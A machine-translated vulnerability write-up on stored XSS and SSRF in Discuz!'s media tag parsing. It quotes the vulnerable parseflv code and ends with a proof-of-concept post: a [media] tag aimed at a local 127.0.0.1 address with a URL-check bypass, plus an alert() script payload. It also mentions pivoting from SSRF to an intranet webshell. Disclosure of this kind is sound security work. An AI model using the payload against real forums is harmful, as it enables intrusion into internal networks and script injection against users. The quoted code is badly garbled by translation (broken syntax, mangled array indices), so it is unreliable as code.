Discuz! Conditional storage xss and ssrf
File source \ function \ function_discuzcode.phpfunction discuzcode
If (! Defined ('in _ mobile ')){
If (strpos ($ msglower, '[/media]')! = FALSE ){
$ Message = preg_replace ("/\ [media = ([\ w,] +) \] \ s * ([^ \ [\ {url }')", $ message );
}
Tracking parsemedia
Function parsemedia ($ params, $ url ){
$ Params = explode (',', $ params );
$ Width = intval ($ params [1]) & gt; 800? 800: intval ($ params [1]);
$ Height = intval ($ params [2]) & gt; 600? 600: intval ($ params [2]);
$ Url = addslashes ($ url );
If (! In_array (strtolower (substr ($ url, 0, 6), array ('HTTP: // ', 'https:', 'ftp: // ', 'rtsp: /', 'mms ://'))&&! Preg_match ('/^ static \ //', $ url )&&! Preg_match ('/^ data \ //', $ url )){
Return dhtmlspecialchars ($ url );
}
If ($ flv = parseflv ($ url, $ width, $ height )){
Return $ flv;
}
Tracking parseflv
Function parseflv ($ url, $ width = 0, $ height = 0 ){
$ Lowerurl = strtolower ($ url );
$ Flv = $ iframe = $ imgurl = '';
If ($ lowerurl! = Str_replace (array ('Player .youku.com/player.php/sid/', 'tudou.com/v/', 'player.ku6.com/refer/'), '', $ lowerurl )){
$ Flv = $ url;
} Elseif (strpos ($ lowerurl, 'v .youku.com/v_show /')! = FALSE ){
$ Ctx = stream_context_create (array ('http' => array ('timeout' => 10 )));
If (preg_match ("/http: \/v.youku.com \/v_show \/id _ ([^ \/]+)(.html |)/I", $ url, $ matches )){
$ Flv = 'HTTP: // player.youku.com/player.php/sid/'.?matches=1}.'/v.swf ';
$ Iframe = 'HTTP: // player.youku.com/embed/'.?matches=1};
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // v.youku.com/player/getplaylist/videoids/'.?matches=1};
$ Str = stripslashes (file_get_contents ($ api, false, $ ctx ));
If (! Empty ($ str) & preg_match ("/\" logo \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Url = substr ($ image [1], 0, strrpos ($ image [1], '/') + 1 );
$ Filename = substr ($ image [1], strrpos ($ image [1], '/') + 2 );
$ Imgurl = $ url. '0'. $ filename;
}
}
}
} Elseif (strpos ($ lowerurl, 'tudou. com/programs/view /')! = FALSE ){
If (preg_match ("/http: \// (www .)? Tudou.com \/programs \/view \/([^ \/] +)/I ", $ url, $ matches )){
$ Flv = 'HTTP: // www.tudou.com/v/'.w.matches%2};
$ Iframe = 'HTTP: // www.tudou.com/programs/view/html5embed.action? Code = '. $ matches [2];
If (! $ Width &&! $ Height ){
$ Str = file_get_contents ($ url, false, $ ctx );
If (! Empty ($ str) & preg_match ("/(. + ?) /I ", $ str, $ image )){
$ Imgurl = trim ($ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'v .ku6.com/show /')! = FALSE ){
If (preg_match ("/http: \ // v.ku6.com \/show \/([^ \/]+).html/I", $ url, $ matches )){
$ Flv = 'HTTP: // player.ku6.com/refer/'.?matches=1}.'/v.swf ';
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // vo.ku6.com/fetchvideo4player/1/'.?matches=1}.'.html ';
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str) & preg_match ("/\" picpath \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Imgurl = str_replace (array ('\ u003a', '\ u002e'), array (':', '.'), $ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'v .ku6.com/special/show _')! = FALSE ){
If (preg_match ("/http: \/v.ku6.com \/special \/show _ \ d + \/([^ \/]+).html/I", $ url, $ matches )){
$ Flv = 'HTTP: // player.ku6.com/refer/'.?matches=1}.'/v.swf ';
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // vo.ku6.com/fetchvideo4player/1/'.?matches=1}.'.html ';
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str) & preg_match ("/\" picpath \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Imgurl = str_replace (array ('\ u003a', '\ u002e'), array (':', '.'), $ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'www .youtube.com/watch? ')! = FALSE ){
If (preg_match ("/http: \// www.youtube.com \/watch \? V = ([^ \/&] + )&? /I ", $ url, $ matches )){
$ Flv = 'HTTP: // www.youtube.com/v/'.?matches=1}.'&hl=zh_cn&fs=1 ';
$ Iframe = 'HTTP: // www.youtube.com/embed/'.?matches=1};
If (! $ Width &&! $ Height ){
$ Str = file_get_contents ($ url, false, $ ctx );
If (! Empty ($ str) & preg_match ("/'video _ hq_thumb': \ s' (. + ?) '/I ", $ str, $ image )){
$ Url = substr ($ image [1], 0, strrpos ($ image [1], '/') + 1 );
$ Filename = substr ($ image [1], strrpos ($ image [1], '/') + 3 );
$ Imgurl = $ url. $ filename;
}
}
}
} Elseif (strpos ($ lowerurl, 'TV .mofile.com /')! = FALSE ){
If (preg_match ("/http: \/TV .mofile.com \/([^ \/] +)/I", $ url, $ matches )){
$ Flv = 'HTTP: // TV .mofile.com/cn/xplayer.swf? V = '. $ matches [1];
If (! $ Width &&! $ Height ){
$ Str = file_get_contents ($ url, false, $ ctx );
If (! Empty ($ str) & preg_match ("/thumbpath = \" (. + ?) \ ";/I", $ str, $ image )){
$ Imgurl = trim ($ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'v .mofile.com/show /')! = FALSE ){
If (preg_match ("/http: \/v.mofile.com \/show \/([^ \/]+).shtml/I", $ url, $ matches )){
$ Flv = 'HTTP: // TV .mofile.com/cn/xplayer.swf? V = '. $ matches [1];
If (! $ Width &&! $ Height ){
$ Str = file_get_contents ($ url, false, $ ctx );
If (! Empty ($ str) & preg_match ("/thumbpath = \" (. + ?) \ ";/I", $ str, $ image )){
$ Imgurl = trim ($ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'video .sina.com.cn/v/ B /')! = FALSE ){
If (preg_match ("/http: \ // video.sina.com.cn \/v \/B \/(\ d +)-(\ d1_00000000.html/I", $ url, $ matches )){
$ Flv = 'HTTP: // vhead.blog.sina.com.cn/player/outer_player.swf? Vid = '. $ matches [1];
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // interface.video.sina.com.cn/interface/common/getVideoImage.php? Vid = '. $ matches [1];
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str )){
$ Imgurl = str_replace ('imgurl = ', '', trim ($ str ));
}
}
}
} Elseif (strpos ($ lowerurl, 'you .video.sina.com.cn/ B /')! = FALSE ){
If (preg_match ("/http: \ // you.video.sina.com.cn \/B \/(\ d +)-(\ d000000000000.html/I", $ url, $ matches )){
$ Flv = 'HTTP: // vhead.blog.sina.com.cn/player/outer_player.swf? Vid = '. $ matches [1];
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // interface.video.sina.com.cn/interface/common/getVideoImage.php? Vid = '. $ matches [1];
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str )){
$ Imgurl = str_replace ('imgurl = ', '', trim ($ str ));
}
}
}
} Elseif (strpos ($ lowerurl, 'HTTP: // my. TV .sohu.com/u /')! = FALSE ){
If (preg_match ("/http: \/my. TV .sohu.com \/u \/[^ \/] + \/(\ d +)/I", $ url, $ matches )){
$ Flv = 'HTTP: // v.blog.sohu.com/fo/v4/'.?matches=1};
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // v.blog.sohu.com/videinfo.jhtml? M = view & id = '. $ matches [1].' & outType = 3 ';
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str) & preg_match ("/\" cutCoverURL \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Imgurl = str_replace (array ('\ u003a', '\ u002e'), array (':', '.'), $ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'HTTP: // v.blog.sohu.com/u /')! = FALSE ){
If (preg_match ("/http: \/v.blog.sohu.com \/u \/[^ \/] + \/(\ d +)/I", $ url, $ matches )){
$ Flv = 'HTTP: // v.blog.sohu.com/fo/v4/'.?matches=1};
If (! $ Width &&! $ Height ){
$ Api = 'HTTP: // v.blog.sohu.com/videinfo.jhtml? M = view & id = '. $ matches [1].' & outType = 3 ';
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str) & preg_match ("/\" cutCoverURL \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Imgurl = str_replace (array ('\ u003a', '\ u002e'), array (':', '.'), $ image [1]);
}
}
}
} Elseif (strpos ($ lowerurl, 'HTTP: // www.ouou.com/fun_funview ')! = FALSE ){
$ Str = file_get_contents ($ url, false, $ ctx );
If (! Empty ($ str) & preg_match ("/var \ sflv \ s = \ s' (. + ?) ';/I ", $ str, $ matches )){
$ Flv = $ _ G ['style'] ['imgdir']. '/flvplayer.swf? & Autostart = true & file = '. urlencode ($ matches [1]);
If (! $ Width &&! $ Height & preg_match ("/var \ simga = \ s' (. + ?) ';/I ", $ str, $ image )){
$ Imgurl = trim ($ image [1]);
}
}
} Elseif (strpos ($ lowerurl, 'HTTP: // www.56.com ')! = FALSE ){
If (preg_match ("/http: \/www.56.com \/\ S + \/play_album-aid-(\ d +) _ vid-(. + ?). Html/I ", $ url, $ matches )){
$ Flv = 'HTTP: // player.56.com/v_'.w.matches%2%.'.swf ';
$ Matches [1] = $ matches [2];
} Elseif (preg_match ("/http: \ // www.56.com \/\ S + \/([^ \/]+).html/I", $ url, $ matches )){
$ Flv = 'HTTP: // player.56.com/'.?matches=1}.'.swf ';
}
If (! $ Width &&! $ Height &&! Empty ($ matches [1]) {
$ Api = 'HTTP: // vxml.56.com/json/'.str_replace ('v _ ', '', $ matches [1]).'/? Src = out ';
$ Str = file_get_contents ($ api, false, $ ctx );
If (! Empty ($ str) & preg_match ("/\" img \ ": \" (. + ?) \ "/I", $ str, $ image )){
$ Imgurl = trim ($ image [1]);
}
}
}
If ($ flv ){
If (! $ Width &&! $ Height ){
Return array ('flv' => $ flv, 'imgurl' => $ imgurl );
} Else {
$ Width = addslashes ($ width );
$ Height = addslashes ($ height );
$ Flv = addslashes ($ flv );
$ Iframe = addslashes ($ iframe );
$ Randomid = 'flv _ '. random (3 );
$ Enablemobile = $ iframe? 'Leleplayer ()? "":':'';
Return '$ (\''. $ randomid. '\'). innerHTML = ('. $ enablemobile. 'ac _ FL_RunContent (\ 'width \',\''. $ width. '\', \ 'height \',\''. $ height. '\', \ 'allownetworking \ ', \ 'internal \', \ 'allowscriptaccess \ ', \ 'never \', \ 'src \',\''. $ flv. '\', \ 'quality \ ', \ 'high \', \ 'bgcolor \ ', \' # ffffff \ ', \ 'wmode \', \ 'transparent \ ', \ 'allowfullscreen \', \ 'true \'));';
}
} Else {
Return FALSE;
}
}
It can be seen that file_get_contentsurl is controllable in multiple places, so ssrf exists and the result is acceptable. The returned imgurl = is used for source \ function \ function_followcode.php.
Function fmakeflv ($ flv ){
$ Randomid = 'video _ '. random (3 );
$ Flv = is_array ($ flv )? $ Flv: array ('flv' => $ flv );
If (! Empty ($ flv ['imgurl']) {
$ Html = '';
} Else {
$ Html = '';
}
Return fcodedisp ($ html, 'video ');
}
Restrictions: xss must enable the Broadcast Function in the background. The earlier versions of multimedia code, such as [audio] [media] [flash], must be enabled by default for ssrf. The new version is disabled by default, but more versions are enabled later.
Post (Note: tools required to submit, otherwise the http://tudou.com is converted to [url] http://tudou.com)
[Media = 8080] http: // 127.0.0.1:/s. php? Http://tudou.com/programs/view/aaaa#/media]
Http: // 127.0.0.1: 8080/s. php content:
/Article/UploadPic/2016-2/20162322318814. gif '); "> aaalert ('A ');
Aaalert ('A ');
Ssrf may shell Intranet Baidu from SSRF to intranet WebShell 2
Solution:
Filter
